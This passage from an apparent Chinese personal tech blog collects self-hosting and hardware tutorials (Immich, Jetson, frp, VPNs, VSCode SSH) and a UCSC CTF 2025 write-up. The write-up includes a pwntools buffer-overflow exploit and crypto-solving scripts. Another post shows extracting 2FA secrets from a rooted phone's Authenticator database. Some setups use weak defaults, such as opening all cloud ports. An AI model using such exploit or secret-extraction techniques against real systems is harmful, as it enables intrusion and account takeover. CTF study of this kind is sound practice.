      - /mnt/user/nas/Photos/model-cache:/cache
    restart: always
    healthcheck:
      disable: false

  redis:
    container_name: immich_redis
    image: docker.io/valkey/valkey:8-bookworm@sha256:fec42f399876eb6faf9e008570597741c87ff7662a54185593e74b09ce83d177
    healthcheck:
      test: redis-cli ping || exit 1
    restart: always

  database:
    container_name: immich_postgres
    image: ghcr.io/immich-app/postgres:14-vectorchord0.4.3-pgvectors0.2.0
    environment:
      POSTGRES_PASSWORD: postgres
      POSTGRES_USER: postgres
      POSTGRES_DB: immich
      POSTGRES_INITDB_ARGS: '--data-checksums'
      # Uncomment the DB_STORAGE_TYPE: 'HDD' var if your database isn't stored on SSDs
      DB_STORAGE_TYPE: 'HDD'
    volumes:
      - /mnt/user/nas/Photos/postgres:/var/lib/postgresql/data
    restart: always

保存后点击COMPOSE UP，等待镜像拉取并启动

检查GPU状态

进入immich_server和immich_machine_learning的控制台输入

nvidia-smi

输出显卡信息代表容器调用GPU成功

访问并配置immich

浏览器进入http://[ip]:2283，以访问immich，初始化配置后，进入主面板，单击右上角头像-系统管理-设置-机器学习设置-智能搜索-CLIP 模型改为

XLM-Roberta-Large-Vit-B-16Plus

进入immich_machine_learning日志界面，如果识别日志包含CUDA字样表示启用成功

机器学习设置-视频转码设置-硬件加速-加速器API 选择 NVENC

记一次CloudFlare小云朵代理网站SSL错误事故

Thu, 10 Jul 2025 00:00:00 GMT

今天突然发现走CF CDN的网站出现了SSL问题，很疑惑，因为正常来说应该会到CF的error界面，而不是直接白屏报错

先是排查了一下源服务器的证书，发现并没有过期，又换了CF的源服务器证书，还是不行，然后开始网上搜索方法，调整了好几个地方，还是不行。

之后发现边缘证书一直卡“待验证”

然后就突然想到DNSSEC，一查发现，果然是之前配置错了，阿里云把加密算法前面的序号删掉了....所以CF那边写的算法 13 ，就是对应 ECDSA Curve P-256 with SHA-256 这个选项。

配置完后到 SSL/TLS - 边缘证书 - 禁用通用SSL证书，等一分钟再打开，然后一般来说就可以验证成功，网站也恢复正常访问。

NVIDIA Jetson Orin Nano Super刷机教程-NVMe

Wed, 02 Jul 2025 00:00:00 GMT

前言

最近在给机器人做视觉+底盘控制，前前后后从Nano B1换到NX，现在又换了Nano Super，刷机刷了好多遍，故出篇文章用来记录刷机流程。

我的Nano Super是亚博智能买的，并且似乎都不带emmc，所以我们只关注于刷进NVMe即可。

安装SDK Manager以及驱动

确保电脑上拥有Ubuntu20、22、24中某个版本的虚拟机，虚拟机进入SDK Manager | NVIDIA Developer 下载.deb Ubuntu版本安装包，进入软件后登录（开发者）账号即可

短接FC REC和GND针脚，插电、开机、成功识别到设备，同时选择是否为开发版

第一步：打三个勾即可，其余不要勾选，以及提供旧版JetPack对的Host主机要求

第二步：只勾选Jetson Linux，暂时只安装裸镜像，软件包可以后续安装

输入Host虚拟机密码以安装必要软件包，接下来就是漫长的下载+烧录过程

验证并构建完镜像后，进度条到50%时会弹出配置页面，配置账密、选择NVMe后Finish继续坐等刷写

如果烧录到75%弹出“NVIDIA Linux for Tegra”无法连接到理想的主机”，修改USB兼容性为3.1即可解决

烧录完成后拔掉跳线重启

安装必要环境

重新进入SDK Manager，第一步保持不变，第二步勾选下面的三个勾

配置Nano信息用于建立连接以安装软件包

然后等待检查通过后开始安装

Congratulations!

终于刷完了...

配置VNC

安装tigervnc和轻量化桌面并配置

sudo apt install tigervnc-standalone-server gnome-panel

输入两遍密码后输入n即可

在/home/ros/.vnc创建一个xstartup的文件，内容如下

#!/bin/sh

xsetroot -solid grey
autocutsel -fork

XAUTHORITY=$HOME/.Xauthority
export XAUTHORITY

unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
export XKL_XMODMAP_DISABLE=1
export XDG_CURRENT_DESKTOP="GNOME-Flashback:GNOME"
export XDG_MENU_PREFIX="gnome-flashback-"
export QT_STYLE_OVERRIDE=""
export FONTCONFIG_PATH=/etc/fonts
export FONTCONFIG_FILE=/etc/fonts/fonts.conf


gnome-session --session=gnome-flashback-metacity --disable-acceleration-check

在/etc/systemd/system/vncserver@.service创建systemctl配置文件

[Unit]
Description=VNC Server
After=network.target

[Service]
Type=simple
User=ros
ExecStartPre=/bin/sh -c '/usr/bin/vncserver -kill :%i > /dev/null 2>&1 || :'
ExecStart=/usr/bin/vncserver -geometry 1920x1080 -depth 24 -name vnc -localhost no :%i -fg
ExecStop=/usr/bin/vncserver -kill :%i

Restart=on-failure
RestartSec=10

[Install]
WantedBy=multi-user.target

启动服务

sudo systemctl daemon-reload
sudo systemctl enable vncserver@1.service
sudo systemctl start vncserver@1.service
sudo systemctl status vncserver@1.service

安装jtop

sudo apt update
sudo apt install python3-pip
sudo pip3 install jetson-stats
sudo systemctl restart jtop.service
sudo jtop

更多玩法请见 Jetson归档 - Shattered217のBlog

vscode基于ssh远程开发配置教程

Wed, 25 Jun 2025 00:00:00 GMT

前言--为什么需要远程开发？

最近发现同学们开发树莓派、nano、nuc等微电脑时，都是另外连显示屏+键鼠的，亦或是VNC+ssh配合着用，但这绝不是最佳，VNC可能会因为网络波动导致卡顿，所以本次打算介绍vscode上的远程开发插件Remote-SSH，可以理解为在远端安装了vscode，本机电脑只是用作编辑代码和调试，解释器和插件等都是位于远端实现。让你可以在自己的Win上拥有绝佳的开发体验。

在Win上创建SSH密钥对

这是为了可以实现免密认证

右键Windows徽标打开终端管理员后输入下面的指令（其中把邮箱改成自己常用的），然后一路回车即可

ssh-keygen -t rsa -b 4096 -C "your_email@example.com"

导入到Linux

通过ssh/ftp等，一切你能想到的能够管理Linux文件的方法，在你的用户目录(例如我的是/home/Shattered)下新建一个.ssh的文件夹，然后将你Win中用户目录下.ssh文件夹的id_rsa.pub改名成authorized_keys放入Linux用户目录下的.ssh里

然后重启Linux即可实现密钥登录

可以在 Win 终端输入下面的命令（替换成自己的用户名和ip）测试连接，如果连接失败则尝试搜索Linux开启密钥对登录

ssh username@ip

如果提示权限错误可在Linux端执行以下命令，赋予文件正确的权限，防止权限太松

chmod 700 ~/.ssh
chmod 644 ~/.ssh/authorized_keys

VScode实现Remote-SSH

首先安装Remote-SSH插件

进入配置编辑，填入以下内容（记得删除注释不然可能会出问题）

Host Pi //自定义名称
    HostName 192.168.101.246  //替换为自己的ip
    User Shattered  //替换为自己的用户名
    PreferredAuthentications publickey
    IdentityFile ~/.ssh/id_rsa

注意，所有的编译器/解释器，甚至包括VScode拓展都是在远程服务器上的，所以可能需要重新安装，然后就可以愉快Code了！

Tailscale 实时监控 Windows RDP 会话

Wed, 21 May 2025 00:00:00 GMT

简介

在日常运维、安全审计或远程支持场景中，我们常常会使用 Windows 的远程桌面功能（Remote Desktop Protocol，RDP）。但是，你是否遇到过这样的需求：

想知道是否有人正在连接你的 RDP？
想实时监控 RDP 的连接和断开事件？
希望将这些信息推送给自己，便于第一时间知晓？

出于这样的动机，并且本人和伙伴是通过tailscale组网进行访问Windows，常规的检测难以精准实现，故开发了一个自用的轻量级 RDP 会话监控脚本 —— RDP-Monitor。它通过Python的 pywin32 库实现对远程桌面连接/断开事件的监听，并且实时推送至TG Bot。

项目地址：RDP-Monitor/ at main · Shattered217/RDP-Monitor

使用教程

修改文件中的TG配置，BOT_TOKEN & CHAT_ID

pip install -r requirements.txt
python monitor.py

效果

UCSC_CTF2025 高校网络安全联合选拔赛 WP

Sun, 20 Apr 2025 00:00:00 GMT

感谢大神队友带飞

MISC：

第一题：小套不是套**-ucsc**

先扫二维码拿到!@#QWE123987解压tess.zip 再用crc32爆破可得密钥： SecretIsY0u

打开mushroom.jpg,用010打开查看png模块发现有png图片，补全头部

最后用oursecret解密即可

Misc

No.shArk-ucsc

提示Cat，猜测是猫脸变换

import cv2
import numpy as np
import multiprocessing
import os

def arnold_decode(image, shuffle_times, a, b):
    h, w = image.shape[:2]
    N = h
    decode_image = np.zeros_like(image)
    for _ in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                new_x = ((a * b + 1) * ori_x - b * ori_y) % N
                new_y = (-a * ori_x + ori_y) % N
                decode_image[new_x, new_y] = image[ori_x, ori_y]
        image = decode_image.copy()
    return image

def process_parameters(params):
    image, c, a, b = params
    print(f"[+] Processing shuffle_times={c}, a={a}, b={b}")
    decoded_img = arnold_decode(image.copy(), c, a, b)
    output_filename = f"flag_decoded_c{c}_a{a}_b{b}.png"
    cv2.imwrite(output_filename, decoded_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])

def arnold_brute(image, shuffle_times_range, a_range, b_range):
    tasks = []
    for c in range(shuffle_times_range[0], shuffle_times_range[1]):
        for a in range(a_range[0], a_range[1]):
            for b in range(b_range[0], b_range[1]):
                tasks.append((image, c, a, b))
    with multiprocessing.Pool(processes=os.cpu_count()) as pool:
        pool.map(process_parameters, tasks)

if __name__ == "__main__":
    img = cv2.imread("next.jpg")
    arnold_brute(img, (1, 8), (1, 12), (1, 12))

跑出后找到

flag{46962f4d-8d29-

使用工具跑出QRcode

扫描出Y0U_Fi8d_ItHa@aaHH，根据Snow猜测是雪花隐写的密钥

找到含“雪”的html文件

雪花隐写解出11ef-b3b6-a4b1c1c5a2d2}

Misc

USB-ucsc

Ctf-nat****直接出

three-ucsc

Part1****是盲水印

Part2

是解密就行了2进制，base64，摩斯即可

Part3

看到流量找到密码一个一个试试

这个就是密钥

解出来就行了

然后将三个部分拼起来即可

Web

ezLaravel-ucsc

直接dirb扫描发现****flag.php

直接出答案了

下线的题

Response****抓包flag字段即可base64解密

Crpyto

题目的a直接给出，所有与a有关的都不需要改动，需要解出的就是data

使用的方法是异或，所以直接将随机数列表重塑为矩阵，然后进行与密文矩阵进行异或即可获得data(flag)

import base64
import random
from Crypto.Util.number import *
import numpy as np
def init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def decrypt(cipher, box):
    res = []
    i = j = 0
    cipher_bytes = base64.b64decode(cipher)
    for s in cipher_bytes:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(s ^ k))
    return (''.join(res))
def random_num(seed_num):
    random.seed(seed_num)

    # 假设这是转置后的矩阵
    transposed_matrix = np.array([[1, 11, 116, 33, 68, 32],
                                  [111, 45, 19, 98, 52, 32],
                                  [38, 58, 113, 38, 119, 7],
                                  [110, 39, 60, 57, 56, 26],
                                  [95, 84, 91, 10, 43, 41],
                                  [44, 1, 118, 29, 125, 41]])


    T = [int(str(random.random()*10000)[0:2]) for i in range(36)]
    # 将 T 转换为 numpy 数组
    T_np = np.array(T)

    # 重塑为 6x6 的二维数组
    T_reshaped = T_np.reshape(6, 6)

    result = transposed_matrix ^ T_reshaped

    for i in result:
        for j in i:
            print(chr(j),end="")

if __name__ == '__main__':
    ciphertext = "MjM184anvdA="
    key = "XR4"
    box = init_sbox(key)
    a=decrypt(ciphertext, box)
    print(a)
    random_num(int(a))
# transposed_matrix=(data.reshape(6*6))^T
# transposed_matrix=[[  1 111  38 110  95  44]
#  [ 11  45  58  39  84   1]
#  [116  19 113  60  91 118]
#  [ 33  98  38  57  10  29]
#  [ 68  52 119  56  43 125]
#  [ 32  32   7  26  41  41]]

Essential

题目flag一共两部分

首先解flag1，题目中具体的p、q生成规则为:

a=getPrime(512)
p=sympy.nextprime(13*a)
q=sympy.prevprime(25*a)
number2=p*q

而对于同一个数，它的next和prev素数一般来说不超过1500

所以直接对n整除(13*25)然后开根号然后一直遍历取下一个数直到能整除n，那么这个值即为a ，那么p、q也获得了

然后再看e，显然是e和phi的不互素问题，直接套模板即可获得flag

然后再看flag1

题目中为

while number2 > 0:
    if number2 % 2:
        number4 = (number4 * number1) % number3
    number1 = number1 ** 2 % number3
    number2 //= 2
return number4

对于number2，它在二进制的角度看就是如果当前位为1则乘上number1，而由于number4初始为1，且number1也仅仅和自己相乘，所以相乘又可以看作在指数上的相加

所以其实这个加密就可以看成是 pow(number1,number2,number3)

而我们解上一个flag时又已经获得了phi

那么直接正常RSA解密即可

Pwn

BoFido

题目虽然没有栈溢出，但是却有数据溢出，也就是输入大小比变量大小大。并且看题目数据栈可以发现溢出能覆盖到seed的位置，所以直接把seed覆盖掉然后随机数就固定了，直接向服务器输出固定的随机数即可

from pwn import *

r = remote()

payload = 0x20*b'a' + b'1'
r.sendline(payload)

r.sendline(b'171 153 203')
r.sendline(b'202 0 183')
r.sendline(b'201 70 206')
r.sendline(b'195 45 120')
r.sendline(b'165 188 58')
r.sendline(b'252 232 96')
r.sendline(b'178 16 144')
r.sendline(b'65 93 195')
r.sendline(b'202 99 159')
r.sendline(b'236 80 162')

r.interactive()

Reverse

EZ_debug

题目只做了一件事--进行异或，且输入的值直接与结果进行对比，所以直接动调拿然后Shift+F12就可以看到(或者你也可以自己解密)

REVERSE

第一题：simplere-ucsc

64位，因为加了upx的壳子，并且标志位改了

所以在010改标志位为upx，进行upx脱壳。打开IDA：

先进行base58加密(换表了)，再进行异或，但是这里的异或是反向拿的，所以解密要逆序输出。

<table class="has-fixed-layout"><tbody><tr><td>enc = [0x72, 0x7A, 0x32, 0x48, 0x34, 0x4E, 0x3F, 0x3A, 0x42, 0x33, 0x47, 0x69, 0x75, 0x63, 0x7C, 0x7D, 0x77, 0x62, 0x65, 0x64, 0x7B, 0x6F, 0x62, 0x50, 0x73, 0x2B, 0x68, 0x6C, 0x67, 0x47, 0x69, 0x15, 0x42, 0x75, 0x65, 0x40, 0x76, 0x61, 0x56, 0x41, 0x11, 0x44, 0x7F, 0x19, 0x65, 0x4C, 0x40, 0x48, 0x65, 0x60, 0x01, 0x40, 0x50, 0x01, 0x61, 0x6F, 0x69, 0x57] enc1 = list() for i in range(0,len(enc), 1): result = enc[i] ^ (i + 1) enc1.append(result) for i in range(len(enc)-1,-1, -1): print(chr(enc1[i]),end="")</td></tr></tbody></table>

第二题： EZ_debug-ucsc CTRL+E找到程序入口点：

这里可以很容易知道就是将v5数组的值进行的RC4加密，直接动调拿v5加密后的值即可。

flag{709e9bdd-0858-9750-8c37-9b135b31f16d}

DeepLearning环境配置教程–OpenCV

Fri, 14 Mar 2025 00:00:00 GMT

前言

由于深度学习相关的软件包、环境等组件占用较大，建议提前在D盘新建一个Env文件夹用于存放，以下内容都会尽可能将环境放在其它盘

环境清单

安装及使用AnaConda创建虚拟环境

AnaConda是一个Py虚拟环境的管理工具，由于Py软件包之间的版本会相互冲突，所以我们要养成良好的环境管理习惯

下载地址

我们需要在自定义的环境文件夹下新建一个Anaconda3的目录，然后修改安装路径

勾选所有直到安装完成即可，然后在cmd中输入conda --version，若有回显则说明安装成功，如没有请检查环境变量

然后我们要进入C://用户/xxx(你的用户名称)，中找到.condarc文件，用记事本打开，并输入

envs_dirs:
  - D:\Env\Anaconda3\envs
pkgs_dirs:
  - D:\Env\Anaconda3\pkgs

以此实现软件包和环境创建在自定义目录

接下来要通过cmd创建虚拟环境

conda create --name DeepLearning python=3.10
conda activate DeepLearning
pip install torch==2.5.0 torchvision==0.20.0 torchaudio==2.5.0 --index-url https://download.pytorch.org/whl/cu124

接下来需要安装CUDA和C++生成工具

安装CUDA

CUDA v12.4下载链接

切记选择自定义后才可以修改安装位置

安装完成后输入若有回显则表示安装成功

nvcc -V

安装C++编译相关组件

下载链接

选择C++并且勾选如图所示的两个组件

按需修改安装目录然后安装

继续安装环境

重新进入cmd然后激活环境

conda activate DeepLearning
pip install mmcv-full==1.7.2

由于需要从源码编译，故此过程非常非常非常久！耐心等待吧。。。

（也可以直接用我编译好的下载链接，编译了一个多小时....失败了两次，所以一共花了三四个小时。。）

安装完后继续安装jupyter即大功告成！

pip install jupyter

frp 0.61 docker(toml配置)新手指北-教程

Tue, 11 Feb 2025 00:00:00 GMT

引

由于本人即将把服务器搬去无公网环境的学校，故研究了一下frp内网穿透，用于映射一些必要的服务出去，但发现网上大部分都是Windows环境下的ini配置，和toml配置相差极大，故在折腾了一段时间后写此篇文章用以记录

简介

frp分为frps和frpc，前者是服务端，后者是客户端，frp可以转发多种流量，但本文章仅说明最常用的两种流量转发，即TCP和HTTP。

TCP可以近似看做端口转发，直接将端口的流量进行透明数据转发，而HTTP则近似于nginx反向代理，所以服务端可以只用一个端口根据域名将不同的网站转发到不同的后端

Frps配置

docker-compose配置

version: "3.3"
services:
  frps:
    image: snowdreamtech/frps:0.61
    container_name: frps
    hostname: frps
    restart: always
    network_mode: host
    volumes:
      - /etc/localtime:/etc/localtime:ro
      - ./conf/frps.toml:/etc/frp/frps.toml:ro
      - ./logs:/frp/logs

frps.toml配置

# 监听地址
bindAddr = "0.0.0.0"
# 监听端口
bindPort = 7000
# 监听 KCP 协议端口
kcpBindPort = 7000
# 监听 HTTP 协议端口
vhostHTTPPort = 8080
# 监听 HTTPS 协议端口
vhostHTTPSPort = 4443

# 允许代理绑定的服务端端口
allowPorts = [
  { start = 2000, end = 3000 },
  { single = 3001 },
  { single = 3003 },
  { start = 4000, end = 50000 }
]

# 鉴权配置
## 鉴权方式
auth.method = "token"
## Token
auth.token = "xxxxxxxxxx" #自行修改

# 日志配置
log.to = "/frp/logs/frps.log"
log.level = "debug"
log.maxDays = 180
log.disablePrintColor = false

subdomainHost = "abc.com"  #自行修改

# 仪表盘配置
webServer.addr = "0.0.0.0"
webServer.port = 7500
webServer.user = "admin"
webServer.password = "xxxxxxxxx"  #自行修改

# 是否提供 Prometheus 监控接口
enablePrometheus = true

# 允许客户端设置的最大连接池大小
transport.maxPoolCount = 1000

以上配置中token、域名和password需要自行修改，域名填一级域名即可，后面HTTP反向代理会用到此域名的二级域名用于区分不同的网站

Frpc配置

docker-compose配置

version: '3.3'
services:
  frpc:
    image: snowdreamtech/frpc:0.61
    container_name: frpc
    restart: always
    network_mode: host
    volumes:
      - /etc/localtime:/etc/localtime:ro
      - ./conf:/etc/frp:ro
      - ./logs:/frp/logs
      - /root/.acme.sh/xxxxxx:/etc/ssl #证书路径自行配置

frpc.toml配置

# 连接配置
## 连接服务端的地址
serverAddr = "x.x.x.x" #服务端IP
## 连接服务端的端口
serverPort = 7000

# 鉴权配置
## 鉴权方式
auth.method = "token"
## Token
auth.token = "xxxxxxxxx"

# 日志日志
## 日志路径
log.to = "/frp/logs/frpc.log"
## 日志级别
log.level = "info"
## 日志文件最多保留天数
log.maxDays = 30
## 禁用标准输出中的日志颜色
log.disablePrintColor = false

includes = ["/etc/frp/confd/*.toml"]

自行修改配置，与服务端对应，然后在/etc/frp中新建/confd文件夹，以后需要添加配置在此文件夹内新建xxx.toml即可，以下给出TCP和HTTP的toml示例

[[proxies]]
### 连接名称
name = "Home Assistant"
### 连接类型
type = "tcp"
localIP = "192.168.101.194"
localPort = 8123
remotePort = 8122
### 是否启用加密功能，启用后该代理和服务端之间的通信内容都会被加密传输
transport.useEncryption = false
### 是否启用压缩功能，启用后该代理和服务端之间的通信内容都会被压缩传输
transport.useCompression = false

localIP表示本地局域网IP
localPort表示本地端口
remotePort表示远程端口，按以上示例即访问服务端IP:8122

## HTTP 连接
[[proxies]]
### 连接名称
name = "EMBY"
### 连接类型
type = "https"
### 子域名列表，用户访问服务端此域名的流量会被转发到对应的本地服务
subdomain = "emby"
### 是否启用加密功能，启用后该代理和服务端之间的通信内容都会被加密传输
#transport.useEncryption = false
### 是否启用压缩功能，启用后该代理和服务端之间的通信内容都会被压缩传输
#transport.useCompression = false

[proxies.plugin]
type = "https2http"
localAddr = "192.168.101.236:8091"

# HTTPS 证书相关的配置
crtPath = "/etc/ssl/*.abc.com.cer"
keyPath = "/etc/ssl/*.abc.com.key"
hostHeaderRewrite = "127.0.0.1"
requestHeaders.set.x-from-where = "frp"

此类型为https，subdomain表示二级域名，如示例即emby.abc.com，localAddr即局域网中需要反代的ip:端口，下面证书按照自己映射的填写，建议申请通配符域名证书，最后浏览器输入emby.abc.com:4443即可成功访问（注意服务端中http和https的端口不同）

ESP32连不上wifi的解决方案

Fri, 07 Feb 2025 00:00:00 GMT

今天现在学习到单片机网络相关的知识，发现死活连不上wifi，折腾了一会总结了几个可供参考排查的要点

WiFi名称（SSID）改成英文或数字，不要带中文
加密方式选择混合加密（WPA/WPA2）
打开WiFI5兼容模式

本人一开始进行了上面两个操作，也试过手机开热点，都不行，最后只能被迫打开WiFi5兼容，这会导致此WLAN下的所有设备无法使用WiFi6，属于最无奈的解决方法

下面附MicroPython的网络排查状态

wlan.status() //返回无线连接的当前状态

STAT_IDLE – 没有连接，没有活动-1000
STAT_CONNECTING – 正在连接-1001
STAT_WRONG_PASSWORD – 由于密码错误而失败-202
STAT_NO_AP_FOUND – 失败，因为没有接入点回复,201
STAT_GOT_IP – 连接成功-1010
STAT_ASSOC_FAIL – 203
STAT_BEACON_TIMEOUT – 超时-200
STAT_HANDSHAKE_TIMEOUT – 握手超时-204

新手向：大学生用华为云搭建作业备份网盘

Mon, 25 Nov 2024 00:00:00 GMT

引

上过大学的都知道，，，我们经常需要去机房上各种上机课，其中不乏工程制图(CAD)，编程，数电，计网等课程，在当堂作业没做完时需要带回寝室继续完成，下节课也需要重新带过来提交，如果用U盘，遗忘或丢失的概率较大，如果放在QQ/微信，可能也会面临文件过期，登录复杂等场景。

解决方案

刚好朋友发了我一个白嫖华为云轻量云的羊毛路子，故今天带各位不熟悉linux的同学体验一下，顺便可以当做~ftp网盘~（经测试bug太多...遂换可道云），用来存放一些作业

注册账号

首先点开此链接，注册登录后选择个人方向

进去后简单填写一些基本信息就可以完成注册

申请代金券

然后进入开发者空间，选择激励管理-计划权益

申请第四项学习代金券（云服务），其它申请没用

代金券发放后可以去购买云服务器了

购买服务器

进入华为云Flexus服务购买网址

选择购买L实例

区域选择中国-香港
镜像选择可道云
实例规格选择36.80元/月
购买九个月
确保订单金额为331.20就可以下单购买了

购买处可以选择代金券支付

续费

代金券还剩下69.80可以补3.80元差价再续费两个月，相当于3.80拿下一年的云服务器

我们进入Flexus云服务，然后进入实例控制面板

点击更改安全组放行端口，如下图填写放行全部协议和所有端口

复制下图箭头的管理网址，进入网盘控制面板

设置账号并登录就可以使用你的私有云盘了！

可玩性很高，可以自己多尝试！

如何优雅地借助公网服务器访问学校内网(EasyConnect)

Fri, 10 May 2024 00:00:00 GMT

前言

我们在~因学校~被迫使用EasyConnect的时候，经常会遇到各种各样的问题，比如安卓的系统版本太新，导致软件不兼容从而无法打开，亦或是和自身的系统代理存在冲突，经常需要切换非常麻烦，就想能不能通过一个跳板来将EasyConnect实现分流代理，经过网上简单搜索，还真就找到了这个项目。

项目介绍

docker-easyconnect/docker-easyconnect: 使深信服（Sangfor）开发的非自由的 VPN 软件 EasyConnect 和 aTrust 运行在 docker 或 podman 中，并作为网关和/或提供 socks5、http 代理服务 (github.com)

该项目主要通过docker运行Easyconnect软件，并通过提供 socks5 和 http 代理服务和网关供宿主机连接使用。

使用指南

首先我们需要一台服务器（该容器占用内存大约为300M），并正确安装docker，然后通过ssh输入以下命令（需要自己修改），为了让大家更直观地理解各项参数，我这边贴出UNraid docker管理的图形化界面

docker run --rm --device /dev/net/tun --cap-add NET_ADMIN -ti -e PING_ADDR= xxx.edu.cn -e PASSWORD=xxxx -e URLWIN=1 -e SOCKS_USER=xxx -e SOCKS_PASSWD=xxx -v $HOME/.ecdata:/root -p 127.0.0.1:5901:5901 -p 127.0.0.1:1080:1080 -p 127.0.0.1:8888:8888 hagb/docker-easyconnect:7.6.7

配置docker需要注意的几个点是

hagb/docker-easyconnect:7.6.7中的7.6.7是你学校客户端的版本，须确保一致
5901是VNC端口，我们可以通过VNC连接容器并使用图形化界面配置登录
1080是Socks5代理端口，8888是http代理端口
SOCKS_USER和SOCKS_PASSWD即Socks的身份验证用户名和密码，开放到公网需要填写
PING_ADDR是不断地ping你的VPN代理的校园网网址，用于保活防止长时间不连接被踢下线
同时需要将容器的/root路径映射到宿主机创建的/.ecdata下，以保存登录信息

当容器运行起来后，我们需要下载VNC进行连接，通过ip:5901进行连接，然后正常配置校园VPN后就可以使用1080（Socks5）或者8888（http）端口进行代理访问了

配置🐱访问

1.通过分流实现代理

可以在Github托管自己专属的分流规则，将自己学校的域名加入进去，并通过订阅转换将自用的代理整合进一个配置文件

DOMAIN-SUFFIX,xxx.edu.cn

以上代码表示匹配域名后缀，一般学校会将各个服务网站分配至二级~（三级）~域名，所以一般只需要这一条规则就够了（当然具体也要根据实际情况来看）

2.通过配置文件全局代理

或者仅仅是通过切换配置文件来实现暂时的全局代理，对于访问学校内网需求度不太大的同学也是可以的，以下是以Socks5为例的🐱配置文件

proxies:
- name: "socks"
  type: socks5
  server: server #填写你的ip或域名
  port: 1080
  username: username #上面配置docker时填写的用户名
  password: password #上面配置docker时填写的密码
  # skip-cert-verify: true
  udp: true

手动导出 Microsoft Authenticator 的 2FA 密钥

Mon, 29 Jan 2024 00:00:00 GMT

转载文章来源手动导出 Microsoft Authenticator 中的2FA密钥 | 煮饭🍚 (zhufan.net)

前言

我之前一直在使用 Google Authenticator，后因 Microsoft Authenticator 拥有云备份功能，所以转移到后者。云备份功能可以方便的让我们在更换设备以后无痛进行迁移，但是因为 Microsoft Authenticator 本身没有导出密钥的功能，所以导致我一直无法迁移存量数据到新的其他相关应用。今天找到了破解之道，且没搜索到中文相关内容，简单做下翻译水篇文章，希望能帮到更多屈服于微软淫威之下的人。

步骤

找到数据 Microsoft Authenticator 中的2FA密钥数据存储路径为 /data/data/com.azure.authenticator/databases/PhoneFactor。由于是在/data/目录下，所以需要手机Root才能查看到。如果你没有Root也不用怕，完全可以迂回的通过云备份功能同步到其他Root后的手机或者模拟器中再进行操作。
读取数据 PhoneFactor 文件本身是Sqlite数据库文件，所以复制文件时候需要复制PhoneFactor-shm和PhoneFactor-wal这两兄弟（如果有），可以通过Sqlite数据库操作软件来查看具体的数据信息。想要的数据就在 accounts 表中。我这里就直接让chatgpt写了一个导出脚本。

import sqlite3
import uuid
import json

# 连接到SQLite数据库
conn = sqlite3.connect('PhoneFactor')
cursor = conn.cursor()

# 执行SQL查询，仅选择account_type为0的行
cursor.execute("SELECT name, username, oath_secret_key FROM accounts WHERE account_type = 0")

result = []

# 遍历查询结果，并创建所需的JSON对象
for row in cursor.fetchall():
    name, username, secret_key = row
    uuid_str = str(uuid.uuid4())
    otpauthstr = f"otpauth://totp/{name}:{username}?secret={secret_key}"
    result.append({
        "uuid": uuid_str,
        "otpauthstr": otpauthstr
    })

# 关闭数据库连接
conn.close()

# 将结果以JSON格式输出
output_json = json.dumps(result, indent=4)
print(output_json)

copyaccount_type为1的是微软本身的账户，为0的是手动添加的第三方账户。
导入数据拿到数据以后我们可以导入到自己想要使用的任意软件了，可以手动输入secret_key，也可以直接将上面otpauth://开头的url直接生成二维码进行扫码导入。

本文部分内容参考以下链接：

https://github.com/beemdevelopment/Aegis/issues/186

Jellyfin和Emby刮削小姐姐插件-MetaTube使用方法

Sat, 30 Dec 2023 00:00:00 GMT

原文：https://github.com/metatube-community/jellyfin-plugin-metatube/blob/main/README_ZH.md

Jellyfin

进入 Jellyfin 控制台 > 插件 > 存储库，点击添加
输入存储库名称：MetaTube
适用于中国大陆的存储库URL：https://cdn.jsdelivr.net/gh/metatube-community/jellyfin-plugin-metatube@dist/manifest.json
在插件目录下找到 MetaTube，点击安装
重启Jellyfin

Emby

从 Releases 下载 MetaTube 最新插件
解压出 MetaTube.dll 文件
将 dll 文件复制到 Emby 插件目录
重启 Emby 服务

PS：Emby 后续插件更新由计划任务在后台自动完成。

重启后就可以正常使用了

第一步是新添加一个媒体库，不要和普通电影放在一个媒体库里

内容类型是电影

如果名字不符合规定的话，手动识别一下，名字只写番号

自建后端

安装docker-compose

apt update
apt install docker-compose -y

官方脚本通过docker-compose一键部署后端

mkdir metatube-sdk-go && cd metatube-sdk-go
curl -sL https://raw.githubusercontent.com/metatube-community/metatube-sdk-go/main/docker-compose.yaml -o docker-compose.yaml
docker-compose up -d

内存模式compose示例

version: '3.8'

services:
  metatube:
    image: ghcr.io/metatube-community/metatube-server:latest
    container_name: metatube
    ports:
      - "8080:8080"
    restart: unless-stopped

基于群晖VPN Server的OpenVPN服务端部署教程

Sat, 02 Dec 2023 00:00:00 GMT

前言

由于博主OpenWrt更新，导致原本位于OP上的OpenVPN Server莫名其妙无法启动，又由于高版本安卓目前只兼容IKEv2/IPsec，路由上没有合适的软件包去部署，故选择使用群晖的套件来部署OpenVPN Server，同时也可以为有群晖但没有软路由的同学提供一些参考。

实现步骤

下载并安装

首先对于群晖是没办法在套件中心直接下载VPN Server的，我们需要在非大陆的群晖官网下载spk

下載中心 | 群暉科技 Synology Inc.

这里选择香港地区的官网，我们首先要选择NAS相关，再选择自己的NAS机型，注意然后要选择正确的版本号，再搜索套件（Ctrl+F），不然是安装不上的。

下载后打开群晖套件中心，选择手动安装，然后选择刚刚下载好的spk，安装好后打开VPN Server。

设置

打开VPN Server后，先检查权限页面是否给齐。然后选择OpenVPN，勾选启动OpenVPN服务器，通讯协议选择TCP（经个人测试UDP会有一些问题），勾上允许客户端访问服务器的LAN，其余可以保持默认，点击应用后，导出配置文件。

使用

用记事本打开.ovpn文件

remote YOUR_SERVER_IP 1194

将第四行的YOUR_SERVER_IP改为你的ddns域名

redirect-gateway def1

同时删掉第20行的这个#，保存后导入客户端就可以愉快使用了！

挂载SMB！

首先需要获取群晖root权限

群晖DSM7.0以上开启ROOT权限教程_NAS存储_什么值得买 (smzdm.com)

然后通过root登录ssh

cd ..
cd etc/samba/
vim smb.conf

在末尾输入（其中192.168.101.0替换为自己群晖所在的子网）

hosts allow=192.168.101.0/24 10.8.0.0/24 127.0.0.1
interfaces =192.168.101.0/24 10.8.0.0/24

保存后在群晖控制面板中关闭再开启smb服务

